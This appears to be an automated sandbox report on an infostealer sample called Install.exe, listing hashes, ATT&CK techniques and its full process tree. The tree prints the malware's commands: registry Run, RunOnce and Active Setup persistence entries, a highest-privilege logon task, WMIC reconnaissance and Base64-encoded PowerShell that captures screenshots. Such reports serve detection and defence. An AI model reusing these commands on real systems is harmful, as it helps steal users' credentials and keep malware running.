d40f4e95ea380c095a726b46316875c96859820a7a71ec6a61f6ad03fa25f968

Analysis

max time kernel
150s
max time network
113s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 09:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Install.exe
Size 91.9MB
Sample260822-ldgdjsxtfx
SHA256 d40f4e95ea380c095a726b46316875c96859820a7a71ec6a61f6ad03fa25f968
MD5 2db1d2dbac52caa391644ce319e15541
SHA1 820339323d94ee53637348d42d0ea04fce7f8e28
SHA512 aeb30ec09c4c8557c43676e0f52528773d5afdc1e6185d966ab2633165fa1fe21c55f5024a972f6ad44b3ed33433c5eeb7fac472dbd6e08e451fc82c71fde785
SSDEEP 393216:rAsN5fijNgTxNmDJdAJr/NYeerl/CAvYXJu1ZzlxlO7EnmvwjfIZVFxep8MI2w/J:rJUfzDIj20mvt5m6dG/ubi9t
TLSH
T123282BE113A5095BE5BF0B768DF1255E80F2B8132B38918BB667374E4E7B2C28674F44
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Boot or Logon Autostart Execution: Active Setup 2 TTPs 2 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Active Setup\Installed Components\jlrU9NV\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Install.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Active Setup\Installed Components\jlrU9NV	reg.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jlrU9NV.exe	Install.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jlrU9NV.exe	Install.exe

Executes dropped EXE 1 IoCs

pid	Process
2748	chromelevator.exe

Loads dropped DLL 6 IoCs

pid	Process
1160	Install.exe
1160	Install.exe
4772	Install.exe
5860	Install.exe
4772	Install.exe
5860	Install.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\jlrU9NV = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Install.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\jlrU9NV = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Install.exe"	reg.exe

Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ifconfig.me
2	ifconfig.me

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2892	tasklist.exe
4800	tasklist.exe

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\Application\version.dll	Install.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\version_orig.dll	Install.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\version.dll	Install.exe
File created	C:\Program Files\7-Zip\version_orig.dll	Install.exe
File created	C:\Program Files\7-Zip\version.dll	Install.exe
File created	C:\Program Files\Google\Chrome\Application\version_orig.dll	Install.exe

Executes a command shell one-liner 1 TTPs 15 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1476	cmd.exe
1156	cmd.exe
4688	cmd.exe
4184	cmd.exe
4268	cmd.exe
6088	cmd.exe
4848	cmd.exe
4940	cmd.exe
236	cmd.exe
5276	cmd.exe
4628	cmd.exe
1148	cmd.exe
4100	cmd.exe
4908	cmd.exe
3156	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4564	WMIC.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5728	schtasks.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
4428	WMIC.exe
4428	WMIC.exe
4428	WMIC.exe
4428	WMIC.exe
4564	WMIC.exe
4564	WMIC.exe
4564	WMIC.exe
4564	WMIC.exe
3560	WMIC.exe
3560	WMIC.exe
3560	WMIC.exe
3560	WMIC.exe
3708	WMIC.exe
3708	WMIC.exe
3708	WMIC.exe
3708	WMIC.exe
2164	WMIC.exe
2164	WMIC.exe
2164	WMIC.exe
2164	WMIC.exe
2248	WMIC.exe
2248	WMIC.exe
2248	WMIC.exe
2248	WMIC.exe
2804	WMIC.exe
2804	WMIC.exe
2804	WMIC.exe
2804	WMIC.exe
2240	WMIC.exe
2240	WMIC.exe
2240	WMIC.exe
2240	WMIC.exe
3112	powershell.exe
3112	powershell.exe
5448	powershell.exe
5448	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4428	WMIC.exe
Token: SeSecurityPrivilege	4428	WMIC.exe
Token: SeTakeOwnershipPrivilege	4428	WMIC.exe
Token: SeLoadDriverPrivilege	4428	WMIC.exe
Token: SeSystemProfilePrivilege	4428	WMIC.exe
Token: SeSystemtimePrivilege	4428	WMIC.exe
Token: SeProfSingleProcessPrivilege	4428	WMIC.exe
Token: SeIncBasePriorityPrivilege	4428	WMIC.exe
Token: SeCreatePagefilePrivilege	4428	WMIC.exe
Token: SeBackupPrivilege	4428	WMIC.exe
Token: SeRestorePrivilege	4428	WMIC.exe
Token: SeShutdownPrivilege	4428	WMIC.exe
Token: SeDebugPrivilege	4428	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4428	WMIC.exe
Token: SeRemoteShutdownPrivilege	4428	WMIC.exe
Token: SeUndockPrivilege	4428	WMIC.exe
Token: SeManageVolumePrivilege	4428	WMIC.exe
Token: 33	4428	WMIC.exe
Token: 34	4428	WMIC.exe
Token: 35	4428	WMIC.exe
Token: 36	4428	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4428	WMIC.exe
Token: SeSecurityPrivilege	4428	WMIC.exe
Token: SeTakeOwnershipPrivilege	4428	WMIC.exe
Token: SeLoadDriverPrivilege	4428	WMIC.exe
Token: SeSystemProfilePrivilege	4428	WMIC.exe
Token: SeSystemtimePrivilege	4428	WMIC.exe
Token: SeProfSingleProcessPrivilege	4428	WMIC.exe
Token: SeIncBasePriorityPrivilege	4428	WMIC.exe
Token: SeCreatePagefilePrivilege	4428	WMIC.exe
Token: SeBackupPrivilege	4428	WMIC.exe
Token: SeRestorePrivilege	4428	WMIC.exe
Token: SeShutdownPrivilege	4428	WMIC.exe
Token: SeDebugPrivilege	4428	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4428	WMIC.exe
Token: SeRemoteShutdownPrivilege	4428	WMIC.exe
Token: SeUndockPrivilege	4428	WMIC.exe
Token: SeManageVolumePrivilege	4428	WMIC.exe
Token: 33	4428	WMIC.exe
Token: 34	4428	WMIC.exe
Token: 35	4428	WMIC.exe
Token: 36	4428	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4564	WMIC.exe
Token: SeSecurityPrivilege	4564	WMIC.exe
Token: SeTakeOwnershipPrivilege	4564	WMIC.exe
Token: SeLoadDriverPrivilege	4564	WMIC.exe
Token: SeSystemProfilePrivilege	4564	WMIC.exe
Token: SeSystemtimePrivilege	4564	WMIC.exe
Token: SeProfSingleProcessPrivilege	4564	WMIC.exe
Token: SeIncBasePriorityPrivilege	4564	WMIC.exe
Token: SeCreatePagefilePrivilege	4564	WMIC.exe
Token: SeBackupPrivilege	4564	WMIC.exe
Token: SeRestorePrivilege	4564	WMIC.exe
Token: SeShutdownPrivilege	4564	WMIC.exe
Token: SeDebugPrivilege	4564	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4564	WMIC.exe
Token: SeRemoteShutdownPrivilege	4564	WMIC.exe
Token: SeUndockPrivilege	4564	WMIC.exe
Token: SeManageVolumePrivilege	4564	WMIC.exe
Token: 33	4564	WMIC.exe
Token: 34	4564	WMIC.exe
Token: 35	4564	WMIC.exe
Token: 36	4564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4564	WMIC.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 1160 wrote to memory of 4100	1160	Install.exe	89
PID 4100 wrote to memory of 4428	4100	cmd.exe	91
PID 1160 wrote to memory of 4940	1160	Install.exe	93
PID 4940 wrote to memory of 4564	4940	cmd.exe	95
PID 1160 wrote to memory of 2748	1160	Install.exe	96
PID 2748 wrote to memory of 4764	2748	chromelevator.exe	98
PID 2748 wrote to memory of 4764	2748	chromelevator.exe	98
PID 2748 wrote to memory of 4984	2748	chromelevator.exe	101
PID 2748 wrote to memory of 4984	2748	chromelevator.exe	101
PID 1160 wrote to memory of 4268	1160	Install.exe	102
PID 4268 wrote to memory of 3560	4268	cmd.exe	104
PID 1160 wrote to memory of 6088	1160	Install.exe	105
PID 6088 wrote to memory of 3708	6088	cmd.exe	107
PID 1160 wrote to memory of 236	1160	Install.exe	108
PID 236 wrote to memory of 2164	236	cmd.exe	110
PID 1160 wrote to memory of 4848	1160	Install.exe	111
PID 4848 wrote to memory of 2248	4848	cmd.exe	113
PID 1160 wrote to memory of 4908	1160	Install.exe	114
PID 4908 wrote to memory of 2804	4908	cmd.exe	116
PID 1160 wrote to memory of 5276	1160	Install.exe	117
PID 5276 wrote to memory of 936	5276	cmd.exe	119
PID 1160 wrote to memory of 4628	1160	Install.exe	121
PID 4628 wrote to memory of 2240	4628	cmd.exe	123
PID 1160 wrote to memory of 3112	1160	Install.exe	124
PID 1160 wrote to memory of 5448	1160	Install.exe	126
PID 1160 wrote to memory of 3156	1160	Install.exe	128
PID 3156 wrote to memory of 2728	3156	cmd.exe	130
PID 1160 wrote to memory of 4688	1160	Install.exe	131
PID 4688 wrote to memory of 5728	4688	cmd.exe	133
PID 1160 wrote to memory of 1476	1160	Install.exe	134
PID 1476 wrote to memory of 1620	1476	cmd.exe	136
PID 1160 wrote to memory of 1148	1160	Install.exe	137
PID 1148 wrote to memory of 1500	1148	cmd.exe	139
PID 4772 wrote to memory of 1156	4772	Install.exe	144
PID 5860 wrote to memory of 4184	5860	Install.exe	145
PID 1156 wrote to memory of 2892	1156	cmd.exe	148
PID 4184 wrote to memory of 4800	4184	cmd.exe	149

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
1⤵
- Creates a file in the Startup directory
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4564
- C:\Users\Admin\AppData\Local\Temp\ls_xn9t0c\chromelevator.exe
  C:\Users\Admin\AppData\Local\Temp\ls_xn9t0c\chromelevator.exe --output-path C:\Users\Admin\AppData\Local\Temp\ls_xn9t0c\output all
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:4764
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:4984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model,manufacturer /format:list"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4268
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model,manufacturer /format:list
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path SoftwareLicensingService get OA3xOriginalProductKey"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6088
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path SoftwareLicensingService get OA3xOriginalProductKey
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:236
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get freespace"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4848
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic logicaldisk get freespace
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get size"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get size
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5276
- - C:\Windows\system32\getmac.exe
    getmac
    3⤵
    PID:936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4628
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcACgAkAG0AbwBuAGkAdABvAHIAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AEEAbABsAFMAYwByAGUAZQBuAHMACgAkAHQAbwB0AGEAbABXAGkAZAB0AGgAIAA9ACAAKAAkAG0AbwBuAGkAdABvAHIAcwAgAHwAIABNAGUAYQBzAHUAcgBlAC0ATwBiAGoAZQBjAHQAIAAtAFAAcgBvAHAAZQByAHQAeQAgAEIAbwB1AG4AZABzAC4AVwBpAGQAdABoACAALQBTAHUAbQApAC4AUwB1AG0ACgAkAG0AYQB4AEgAZQBpAGcAaAB0ACAAPQAgACgAJABtAG8AbgBpAHQAbwByAHMAIAB8ACAATQBlAGEAcwB1AHIAZQAtAE8AYgBqAGUAYwB0ACAALQBQAHIAbwBwAGUAcgB0AHkAIABCAG8AdQBuAGQAcwAuAEgAZQBpAGcAaAB0ACAALQBNAGEAeABpAG0AdQBtACkALgBNAGEAeABpAG0AdQBtAAoAJABtAGkAbgBYACAAPQAgACgAJABtAG8AbgBpAHQAbwByAHMAIAB8ACAATQBlAGEAcwB1AHIAZQAtAE8AYgBqAGUAYwB0ACAALQBQAHIAbwBwAGUAcgB0AHkAIABCAG8AdQBuAGQAcwAuAFgAIAAtAE0AaQBuAGkAbQB1AG0AKQAuAE0AaQBuAGkAbQB1AG0ACgAkAG0AaQBuAFkAIAA9ACAAKAAkAG0AbwBuAGkAdABvAHIAcwAgAHwAIABNAGUAYQBzAHUAcgBlAC0ATwBiAGoAZQBjAHQAIAAtAFAAcgBvAHAAZQByAHQAeQAgAEIAbwB1AG4AZABzAC4AWQAgAC0ATQBpAG4AaQBtAHUAbQApAC4ATQBpAG4AaQBtAHUAbQAKACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACgAJAB0AG8AdABhAGwAVwBpAGQAdABoACwAIAAkAG0AYQB4AEgAZQBpAGcAaAB0ACkACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKAGYAbwByAGUAYQBjAGgAIAAoACQAbQBvAG4AaQB0AG8AcgAgAGkAbgAgACQAbQBvAG4AaQB0AG8AcgBzACkAIAB7AAoAIAAgACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABtAG8AbgBpAHQAbwByAC4AQgBvAHUAbgBkAHMALgBYACwAIAAkAG0AbwBuAGkAdABvAHIALgBCAG8AdQBuAGQAcwAuAFkALAAgACQAbQBvAG4AaQB0AG8AcgAuAEIAbwB1AG4AZABzAC4AWAAgAC0AIAAkAG0AaQBuAFgALAAgACQAbQBvAG4AaQB0AG8AcgAuAEIAbwB1AG4AZABzAC4AWQAgAC0AIAAkAG0AaQBuAFkALAAgACQAbQBvAG4AaQB0AG8AcgAuAEIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAfQAKACQAZwByAGEAcABoAGkAYwBzAC4ARABpAHMAcABvAHMAZQAoACkACgAkAGIAaQB0AG0AYQBwAC4AUwBhAHYAZQAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsAFwAXABUAGUAbQBwAFwAXABzAGMAcgBfADEANwA4ADcAMwA5ADAANwAzADUAOAAyADgALgBwAG4AZwAnACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcACgAkAHMAYwByAGUAZQBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4AUwBjAHIAZQBlAG4AXQA6ADoAUAByAGkAbQBhAHIAeQBTAGMAcgBlAGUAbgAKACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACgAJABzAGMAcgBlAGUAbgAuAEIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAHMAYwByAGUAZQBuAC4AQgBvAHUAbgBkAHMALgBIAGUAaQBnAGgAdAApAAoAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAaQB0AG0AYQBwACkACgAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAuAFgALAAgACQAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAuAFkALAAgADAALAAgADAALAAgACQAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAuAFMAaQB6AGUAKQAKACQAZwByAGEAcABoAGkAYwBzAC4ARABpAHMAcABvAHMAZQAoACkACgAkAGIAaQB0AG0AYQBwAC4AUwBhAHYAZQAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsAFwAXABUAGUAbQBwAFwAXABzAGMAcgBfADEANwA4ADcAMwA5ADAANwAzADUAOAAyADgALgBwAG4AZwAnACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3156
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f
    3⤵
    - Adds Run key to start application
    PID:2728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "jlrU9NV" /tr "\"C:\Users\Admin\AppData\Local\Temp\Install.exe\"" /sc onlogon /f /rl highest"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "jlrU9NV" /tr "\"C:\Users\Admin\AppData\Local\Temp\Install.exe\"" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Active Setup\Installed Components\jlrU9NV" /v StubPath /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1476
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Active Setup\Installed Components\jlrU9NV" /v StubPath /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    PID:1620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1148
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f
    3⤵
    - Adds Run key to start application
    PID:1500

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3544

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3660

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 1160" /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "PID eq 1160" /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:2892

C:\Users\Admin\AppData\Local\Temp\Install.exe
C:\Users\Admin\AppData\Local\Temp\Install.exe
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:5860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 1160" /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4184
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "PID eq 1160" /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:4800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 aecd211ac8babc118c2a0785f00479871819bde6ba11e5b7891a04f259f1dbf3
MD5 7ba47ca5a1f6a75a78249daac0fec3c1
SHA1 24c21d40d9c268aa854afc7032efbf25c4f883c1
SHA512 763e8915135f01a3fbf91fe111e4af3bea0b55accf56260764b90f2cd4bd61ff8313b3b3665d098dae2c81fd5027ca11d40f719acaa3e7da4a28e2187e150b79
TLSH
T1EC218733F3CC8215D889403A50CEAC1032B187DB40DECE5BAB84D508B43F599CEA05A0
MD5 SHA1 SHA512 TLSH

Submit Download

.dat

Path C:\Users\Admin\AppData\Local\Temp\.dat
Size 4B
SHA256 77523aa0395b6ee089984c28fd543755244df3ba6adba24be6b5b20f4fe5c6b3
MD5 884d79963bd8bc0ae9b13a1aa71add73
SHA1 dc1e5e97b303462f6c9a009994f17fb83d9f7624
SHA512 9d4a6e63e43a684483e1fe763ef9cddbeb1d2b3560e5cdc3c0b13f7da2308806c603b361d9991b9b22220ff38cef048d7cc5617e6b83a3bd02d0f8d73a65363a
MD5 SHA1 SHA512

Submit Download

2568702015.node

